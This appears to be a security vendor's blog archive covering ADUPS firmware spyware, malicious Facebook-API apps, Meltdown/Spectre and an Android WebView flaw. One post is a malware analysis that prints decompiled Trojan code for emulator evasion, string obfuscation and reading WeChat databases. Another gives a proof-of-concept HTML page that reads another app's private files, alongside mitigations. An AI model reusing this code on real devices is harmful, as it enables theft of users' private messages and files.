ZTE Suspected of Espionage in 2016

Are you concerned with the Trump administration lifting sanctions on Chinese telecommunications giant ZTE? In 2016, ZTE was one of 43 companies that cybersecurity company Trustlook identified as possibly engaging in espionage due to ZTE’s work with ADUPS, a firmware-over-the-air (FOTA) company discovered by Kryptowire to be collecting private user information without consent.

The New York Times reported up to 700 million devices may contain the ADUPS software. Trustlook researchers conducted additional investigation and identified 43 phone manufacturers, including ZTE, that utilized the ADUPS’ Firmware-Over-The-Air (FOTA), and whose users might possibly be impacted by this incident. Trustlook also published an infographic with additional details on ADUPS.

The manufacturers with devices that contain ADUPS technology (which may or may not be impacted by the data theft) are as follows:
Aaron Electronics
Aeon Mobile
All Win Tech
Amoi Technology
Archos
AUX
Bird
BLU
Cellon
Coship Mobile
DEWAV Communication Group
DEXP Digital Experience
Eastaeon Technology
Electronic Technology Co.
Gionee
GOSO
Hisense
Hongyu
Huaqin
Huiye
Inventec Corporation
Konka Group Co
Lenovo
Logicom
Longcheer
Malata Mobile
Mediatek Helio
Prestigio
Ragentek
RDA Micro
Reallytek
RUIO
Sanmu
Sprocomm
Tinno
Uniscope
VSUN
Water World Technology Co.
Wind Communication
WingTech
Yifang Digital
Zhuhai Quanzhi
ZTE

25,936 Malicious Apps Use Facebook APIs

Trustlook has identified 25,936 malicious apps that are currently using one of Facebook’s APIs, such as a login API or messaging API. (The list of MD5s can be found here.) App developers, when using these APIs, are able to obtain a range of information from a Facebook profile—things such as a name, location, and email address.

The Cambridge Analytica data-harvesting scandal was mainly a result of developers abusing the permissions associated with the Facebook Login feature. When people use Facebook Login, they grant the app’s developer a range of information from their Facebook profile. Back in 2015, Facebook also allowed developers to collect some information from the friend networks of people who used Facebook Login. That means that while a single user may have agreed to hand over their data, developers could also access some data about their friends. Needless to say, this realization among Facebook users has caused a huge backlash.

Trustlook discovered the malicious apps within its SECUREai App Insights product, which continuously scans apps from across the world, and provides more than 80 pieces of information for each app, including permissions, libraries, risky API calls, network activity, and a risk score. This allows app store owners, app developers, and researchers to make informed decisions when assessing the risk of an app. SECUREai App Insights is currently securing three of the top five app stores in the world.

To be fair, Facebook is not the only company with its APIs embedded in malicious applications. Twitter, LinkedIn, Google, and Yahoo offer similar options to developers, and thus their user data faces similar exposure. All of these companies need to remain diligent about what user information is being granted to apps.

For more information on SECUREai App Insights, please visit www.trustlook.com.

 

Android-Malware

A Trojan with Hidden Malicious Code Steals User’s Messenger App Information

Trustlook Labs has discovered a Trojan which obfuscates its configuration file and part of its modules. The purpose of the content/file obfuscation is to avoid detection.

The malware has the following characteristics:

  • MD5: ade12f79935edead1cab00b45f9ca996
  • SHA256: 1413330f18c4237bfdc523734fe5bf681698d839327044d5864c9395f2be7fbe
  • Size: 1774802 bytes
  • App name: Cloud Module (in Chinese)
  • Package name: com.android.boxa

The malware uses the anti-emulator and debugger detection techniques to evade dynamic analysis.

public class a {
    public a() {
        super();
        if(!h.a() && (a.b())) {
            String v0 = "emulator\n";
            if(Environment.getExternalStorageState().equals("mounted")) {
                try {
                    File v2 = new File(String.valueOf(Environment.getExternalStorageDirectory().getAbsolutePath()) + "/loge.txt");
                    if(!v2.exists()) {
                        v2.createNewFile();
                    }

                    String v1 = String.valueOf(new SimpleDateFormat("yyyyMMddHHmmss", Locale.CHINA).format(new Date(System.currentTimeMillis()))) + ":";
                    FileOutputStream v3 = new FileOutputStream(v2, true);
                    v3.write(v1.getBytes());
                    v3.write(v0.getBytes());
                    v3.close();
                }
                catch(Exception v0_1) {
                    v0_1.printStackTrace();
                }
            }

            Process.killProcess(Process.myPid());
            System.exit(1);
        }
 []
    private static boolean b() {
        boolean v0_1;
        boolean v1 = false;
        try {
            v0_1 = a.c();
        }
        catch(Exception v0) {
            v0.printStackTrace();
            v0_1 = false;
        }

        if((Debug.isDebuggerConnected()) || (v0_1) || (a.a.b.a()) || (a.a.b.b())) {
            v1 = true;
        }

        return v1;
}
[]
  static {
        b.a = new String[]{"/dev/socket/qemud", "/dev/qemu_pipe"};
        b.b = new String[]{"/sys/qemu_trace", "/system/bin/androVM-prop", "/system/bin/microvirt-prop", "/system/lib/libdroid4x.so", "/system/bin/windroyed", "/system/bin/microvirtd", "/system/bin/nox-prop", "/system/bin/ttVM-prop", "/system/bin/droid4x-prop", "/data/.bluestacks.prop"};
        a[] v0 = new a[]{new a("init.svc.vbox86-setup", null), new a("init.svc.droid4x", null), new a("init.svc.su_kpbs_daemon", null), new a("init.svc.noxd", null), new a("init.svc.ttVM_x86-setup", null), new a("init.svc.xxkmsg", null), new a("init.svc.microvirtd", null), new a("ro.kernel.android.qemud", null), new a("androVM.vbox_dpi", null), new a("androVM.vbox_graph_mode", null), new a("ro.product.manufacturer", "Genymotion"), new a("init.svc.qemud", null), new a("init.svc.qemu-props", null), new a("qemu.hw.mainkeys", null), new a("qemu.sf.fake_camera", null), new a("qemu.sf.lcd_density", null), new a("ro.bootloader", "unknown"), new a("ro.bootmode", "unknown"), new a("ro.hardware", "goldfish"), new a("ro.kernel.android.qemud", null), new a("ro.kernel.qemu.gles", null), new a("ro.kernel.qemu", "1"), new a("ro.product.device", "generic"), new a("ro.product.model", "sdk"), new a("ro.product.name", "sdk"), new a("ro.serialno", null)};
    }

The malware attempts to hide the strings to avoid being detected. For example, the following strings are stored in arrays and are XOR encrypted with 24 to get the real strings:

g.a(new byte[]{117, 97, 80, 119, 107, 108}); //myHost
g.a = g.a(new byte[]{117, 97, 116, 113, 122}); //mylib
g.a(new byte[]{55, 104, 106, 119, 123, 55, 123, 104, 109, 113, 118, 126, 119}); ///proc/cpuinfo
g.a(new byte[]{121, 121, 106, 123, 112, 46, 44}); //aarch64
g.b = g.a(new byte[]{124, 121, 108}); //dat
g.c = g.a(new byte[]{119, 96});ox
g.d = g.a(new byte[]{113, 118, 126, 54, 94, 121, 123, 125, 81, 118, 107, 108, 121, 118, 123, 125}); //inf.FaceInstance
g.e = g.a(new byte[]{54, 114, 121, 106}); // .jar
g.f = g.a(new byte[]{116, 123, 54, 124, 121, 108}); // lc.dat
g.a(new byte[]{124, 125, 122, 109, 127, 54, 108, 96, 108}); // debug.txt
g.g = g.a(new byte[]{109, 118, 113, 118, 107}); //unins

The malware also includes some modules in its Assets folder, and all the modules are encrypted.

image2

For some modules, including “coso”, “dmnso”, “sx”, “sy”, the malware uses the first byte in the module to XOR decrypt the data. For example, take notice of the original module “coso” in the Assets folder:

image4

After decryption, it turns out an ELF module:

image3

The lc.dat is the configuration file, which is XOR decrypted with 137. For example:

image6

After decryption:

image5

The configuration file contains the C&C server and other values that the malware uses to contact its controller. An example request sent by the malware is shown below:

image1

If the Android SDK version is less than 16, the malware loads “sy” module from Assets, otherwise it loads “sx” module. These modules attempt to modify the “/system/etc/install-recovery.sh” file to maintain persistence on the device.

It also has functions to steal the user’s messenger app information. The malware collects information from the following apps:

  • Tencent WeChat
  • Weibo
  • Voxer Walkie Talkie Messenger
  • Telegram Messenger
  • Gruveo Magic Call
  • Twitter
  • Line
  • Coco
  • BeeTalk
  • TalkBox Voice Messenger
  • Viber
  • Momo
  • Facebook Messenger
  • Skype

The following code snippets are used to retrieve data from WeChat:

v4 = a3;
  v5 = a1;
  v13 = a4;
  v6 = a2;
  j_memset(&v16, 0, 0xFFu);
  j_sprintf(&v16, "/data/data/com.tencent.mm/MicroMsg/%s/cdndnsinfo", v6);
  v7 = sub_107A0((int)&v16);
  *v4 = v7;
  if ( !v7 )
  {
    j_strcpy(&v16, "/data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml");
    *v4 = sub_10F98((int)&v16);
  }
  j_memset(&v17, 0, 0x200u);
  j_memset(v15, 0, 0x10u);
  if ( j_strlen(v5) <= 4 )
    j_strcpy(v5, (const char *)&unk_5E688);
  j_sprintf(&v17, "%s%d", v5, *v4, v13);
  v8 = j_strlen(&v17);
  sub_106FC(&v17, v8, (int)v15);
  v9 = 0;
  do
  {
    v10 = (unsigned __int8)v15[v9];
    v11 = v14 + 2 * v9++;
    j_sprintf(v11, "%02x", v10);
  }
  while ( v9 != 16 );
  j_sscanf();
  return 0;
}
[]
j_sprintf(&v102, "/data/data/%s/files/libmmcrypto.so", &unk_5E6BA);
  j_chmod(&v103, 511);
  j_memcpy(&v98, &unk_54E77, 0x21u);
  j_memset(v99, 0, 0xDEu);
  j_strcat(&v98, (const char *)&unk_5E6BA);
[]
  j_strcat(&v98, "/files/%u.sql'");
  j_sprintf(&v109, &v98, &v103, &v102, &v100, v4, &v42, v5, &v109, &v102);
  j_memset(&v104, 0, 0x200u);
  v105 = 1836409902;
  v106 = 112;
  j_memset(&v107, 0, 0x1F8u);
  j_sprintf(&v104, "%s/%u.sql", &unk_5E624, v5);
  j_strcat((char *)&v105, (const char *)&v104);
  j_memcpy(&v94, &unk_54F76, 0x1Cu);
  j_memset(&v95, 0, 0x48u);
  j_memcpy(&v96, &unk_54FDA, 0xDu);
  j_memset(v97, 0, 0x57u);
  j_strcat(&v96, v4);
  j_strcat(&v96, "\";");
  v7 = &v103;
  v8 = &v102;
  v11 = &v94;
  v9 = &v100;
  v12 = &v105;
  v10 = &v96;
  sub_DC64(6, &v7);
  j_chmod(&v104, 511);
  j_memset(&v108, 0, 0x200u);
  j_sprintf(&v108, "%s/sns.db", &unk_5E624);
  sub_E7D0(&v101, &v108);
  j_chmod(&v108, 511);
  j_printf("szsqlite:%s\n", &v103);
  j_printf("szlibmmcrypto:%s\n", &v102);
  j_printf("szDBPath:%s\n", &v100);
  j_printf("szPRAGMAkey:%s\n", &v96);
  return j_printf("sqlDbPath2:%s\n", &v105);
[]
v10 = a1;
  result = j_opendir("/data/data/com.tencent.mm/MicroMsg");
  v2 = result;
  if ( result )
  {
    v9 = 0;
    while ( 1 )
    {
      v4 = j_readdir(v2);
      v5 = v4;
      if ( !v4 )
        break;
      v3 = (const char *)(v4 + 19);
      if ( j_strcmp(".", (const char *)(v4 + 19)) )
      {
        if ( j_strcmp("..", (const char *)(v5 + 19)) )
        {
          if ( sub_E8A0("/data/data/com.tencent.mm/MicroMsg", v5) )
          {
            j_memset(&v13, 0, 0xFFu);
            j_sprintf(&v13, "%s/%s/EnMicroMsg.db", "/data/data/com.tencent.mm/MicroMsg", v3);
            if ( !j_access(&v13, 0) )
            {
              j_memset(&v14, 0, 0xFFu);
              j_sprintf(&v14, "%s/%s", "/data/data/com.tencent.mm/MicroMsg", v3);
[]
              {
                j_strcpy(v10, v3);
                v9 = v8;
              }
            }
          }
        }
      }
}


Summary
Code obfuscation/hiding increases the malware author’s ability to avoid detection and becomes a sophisticated challenge to anti-virus software. Trustlook was able to gather deep insights and knowledge of the malware behavior of this kind of malware. Trustlook’s anti-threat platform can effectively protect users against this invasion.

Can Trustlook’s app auditing tool solve Facebook’s data privacy woes?

The Cambridge Analytica data-harvesting scandal appears to be a game changer for Facebook. The company has been forced to take big steps to protect its users’ privacy. Facebook has restricted access to certain types of data, but it’s clear that the company needs better visibility in to how user information is being used by third-party apps.

The Issue
Between 2013 and 2015, the research firm Cambridge Analytica (CA) harvested profile data from millions of Facebook users, and used that data to build a targeted marketing database based on each user’s individual likes and interests. CA was able to gather this data in the first place thanks to a loophole in Facebook’s API that allowed third-party developers to collect data not only from users of their apps but from all of the people in those users’ friends network on Facebook.

Make no mistake, this was not a hack. All of the information collected by Cambridge Analytica was information that Facebook had freely allowed mobile developers to access. And it appears the main avenue that app developers used for data collection was the Facebook Login feature.

Facebook Login lets people log in to a website or app using their Facebook account instead of creating new credentials. People use it because it’s easy and eliminates the need to remember a bunch of unique username and password combinations.

When people use Facebook Login, though, they grant the app’s developer a range of information from their Facebook profile — things such as their name, location, email or friends list. Back in 2015, Facebook also allowed developers to collect some information on the friend networks of people who used Facebook Login. That means that while a single user may have agreed to hand over their data, developers could also access some data about their friends. Needless to say, this realization among Facebook users has caused a huge backlash.

How much data is too much for an app to receive?
Screenshot_20180323-135416


The Solution
The scandal has prompted Facebook to do more to make it easier for users to protect their privacy, which, to the company’s credit, it has. Users can now more easily lock down their privacy settings, and app developers are no longer permitted to access as much data as they once could. In addition, developers will be cut off from access when people stop using their app, and they’ll have to get Facebook’s approval to access more detailed information.

But one big problem persists: the tons of apps out there operating under the “old rules,” and siphoning user’s (and their friends’) data surreptitiously? Facebook CEO Mark Zuckerberg says Facebook will “audit” thousands of apps and “investigate all apps that had access to large amounts” in the past. But what that means exactly is still unclear.

Can Facebook do it? Can it do it at scale? Does it have the expertise and experience to see what is happening inside all of the apps that use its services? If they can’t, Trustlook can.

Enter SECUREai App Insights
Trustlook SECUREai App Insights (datasheet here) can already do what Facebook is promising to do. In fact, it’s already securing three of the top five app stores in the world.

SECUREai App Insights provides detailed information about mobile applications. It offers more than 80 pieces of information for each app, including permissions, libraries, risky API calls, network activity, and a risk score. All the information is presented in an easy-to-use, actionable format so that app store owners, app developers, researchers and companies such as Facebook can make informed decisions.

Most importantly for Facebook, Trustlook’s technology can determine if apps that are using Facebook Login are doing so properly, or if they are abusing permissions or mishandling user data in any way.

Facebook is not the only company offering a sign in feature. Twitter, LinkedIn, Google, and Yahoo have similar features. All of these companies need to remain diligent about what user information is being granted to apps.

Are you interested in learning more about SECUREai App Insights? Contact us today to schedule a demo.

 

74% of Consumers are Concerned About Meltdown and Spectre

We just released data that shows a large percentage of consumers are concerned about Meltdown and Spectre, two vulnerabilities that could permit attackers to gain unauthorized access to a computer’s memory. According to a January 2018 survey sent to 8000 of our users, 74 percent are either “Extremely Concerned” or “Somewhat Concerned” about the threats.

Meltdown and Spectre are flaws that affect nearly all modern processors, including chips from Intel, AMD, and those with ARM-based architectures, and can only be mitigated through operating system patches. Of the two, Meltdown poses the greater threat because it is easier to exploit and affects all kinds of computers, including personal computers and virtual machines in the cloud.

Our CEO had this response to the data:

“It is actually a really good sign that consumers are paying such close attention to these issues,” said Allan Zhang, CEO and co-founder of Trustlook. “Too often the public is criticized for not being diligent enough with their device security. So, the silver lining with Meltdown and Spectre is that it’s forced everyone to focus greater attention on security.”

Trustlook’s study revealed the following attitudes about Meltdown and Spectre:

▪ 38% Extremely Concerned
▪ 36% Somewhat Concerned
▪ 14% Not Very Concerned
▪ 12% Absolutely No Concern

For more information on Meltdown and Spectre, please visit https://meltdownattack.com.

Android WebView Class Poses Significant Security Risk

Tencent Security Labs recently reported a vulnerability that exists across some common apps. The report can be found at http://www.cnvd.org.cn/webinfo/show/4365. The issue, which has been around since 2014, has to do with the misconfiguration or misuse of the WebView class.

The Android WebView class is used to display HTML pages such as the UI or online content. WebView uses the WebKit rendering engine, which is included in many web browsers. The engine allows the user to navigate forward and backward, zoom in and out on a web page, and process JavaScript in the HTML document.

The following is an example of using WebView:

WebView webView = findViewById(R.id.webView);
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webView.loadUrl("http://www.example.com");

JavaScript is disabled in WebView by default, though the user can enable it. WebView settings also provide methods to interact with other content, such as:

  • setAllowFileAccess

Enables or disables file access in WebView. Note that the assets and resources are still accessible even if file access is disabled.

  • setAllowFileAccessFromFileURLs

Enables or disables the JavaScript in the file scheme URL from accessing content from other file scheme URLs. This setting is overwritten by setAllowUniversalAccessFromFileURLs

  • setAllowUniversalAccessFromFileURLs

Enables or disables the JavaScript in the file scheme URL from accessing content from any other source.

In web applications, there is a “same-origin policy,” which is used to restrict JavaScript on the page from accessing a user’s most important data. The browser’s policy is to check for protocol, host and port in URIs.

A brief sample of URIs compared with URL http: //www.example.com/index.html under the same-origin policy are shown below:

URL                                                             same-origin or not, and description

http: //www.example.com/index2.html        ; same-origin

https: //www.example.com/index.html        ; Not same-origin, protocol is different

http: //example.com/index.html                    ; Not same-origin, host is different

http: //www.example.com:88/index.html   ; Not same-origin, port is different

file:///data/local/tmp/index.html                ; Not same-origin, protocol and host are different

WebView implements the same-origin policy. If the JavaScript is used in the HTTP scheme, it can’t access the file scheme URLs. Normally, Android apps are running in separate processes. For instance, App A is not able to access the private data for App B, and vice versa. However, if setAllowFileAccess and setAllowUniversalAccessFromFileURLs are enabled, App A can run the exported activity from App B and pass the malicious file scheme URLs to the WebView in App B to access the private files in App B.

App B contains WebView which accepts the following parameter url:

WebView webView = findViewById(R.id.webView);
webView.loadUrl(url);

If App A passes a file scheme url file:///data/local/tmp/index.html” as the parameter “url” for the webView.loadUrl(url) in App B

The index.html file has the following content:

<html>
<head>
<script>
function readfile() {
    alert(document.getElementById('iframe').contentDocument.body.firstChild.innerHTML);
}
</script>
</head>
<body>
<iframe id='iframe' src = "file:///data/data/com.test.webv/abc.txt" onload='readfile()'> </iframe>
</body>
</html>

App A accesses the private file from App B “/data/data/com.test.webv/abc.txt. In the above sample, the attacker must have the ability to drop the malicious HTML document into the user’s device.

Workarounds for this potential WebView vulnerability include:

  • Disable file scheme URLs in the app if file access is not needed. This can be accomplished by setting methods setAllowFileAccess as false. Since files in assets and res folder are not affected by these settings, some fixed HTML can be placed in these folders.
  • Check for file scheme URLs to eliminate directory traversal attacks.
  • If the app doesn’t use JavaScript in a WebView, set method setJavaScriptEnabled as false.
  • If activity export is not needed, set android:exported=”false” in the Activity tag in Manifest. Otherwise check the passed parameters for the WebView.

Qualcomm Chips Less Impacted by Meltdown and Spectre

Last week it was widely reported that two severe vulnerabilities were found in Intel chips, either of which could permit attackers to gain unauthorized access to a computer’s memory. The first vulnerability, Meltdown (CVE-2017-5754), can effectively remove the barrier between user applications and sensitive parts of the operating system. The second vulnerability, Spectre (CVE-2017-5753 and CVE-2017-5715), can trick vulnerable applications into leaking their memory contents. Of the two, Meltdown poses the greater threat because it is easier to exploit and affects all kinds of computers, including personal computers and virtual machines in the cloud.

Meltdown and Spectre affect nearly all modern processors, including chips from Intel, AMD, and those with ARM-based architectures such as Qualcomm’s, and can only be mitigated through operating system patches. The good news is that chips on mobile devices, of which Qualcomm is the leader, may have less exposure to risk than chips on PCs or virtual machines.

Qualcomm President Cristiano Amon has been quoted as saying that the recent Meltdown and Spectre security flaws are not concerns for the company and the mobile industry. According to TechCrunch, which reported the Qualcomm President’s quotes, Amon said, “There are a few things that are unique about the mobile ecosystem. Users download from an app store. On top of that, the impact you had on Android and ARM — we had patches that got released as early as December to some OEMs.” The report also adds that according to the Qualcomm President, “this is not an area of concern for us and the mobile ecosystem.” Moreover, Google said in a blog post that all Android devices with the latest security update are protected.

This affirmation by Qualcomm was a collective sigh of relief for many smartphone users. It is also important to Trustlook, as we work closely with Qualcomm to power advanced security solutions. Our software solutions, called SECUREai MP App and SECUREai MP Token, work in concert with the Qualcomm HavenTM Security Platform on Snapdragon chips, giving them unprecedented, built-in security features. This level of security is made possible by designing the security into the chip, and cannot be matched by software-based solutions.

Regardless of how unlikely it is for Qualcomm-powered smartphones to be impacted by Meltdown or Spectre, it is important to install the latest security updates as soon as they’re available. It won’t take long for bad actors to start exploiting these vulnerabilities, as much of the sample code has already been released to the public.

11.07.16_Qualcomm_821_teaser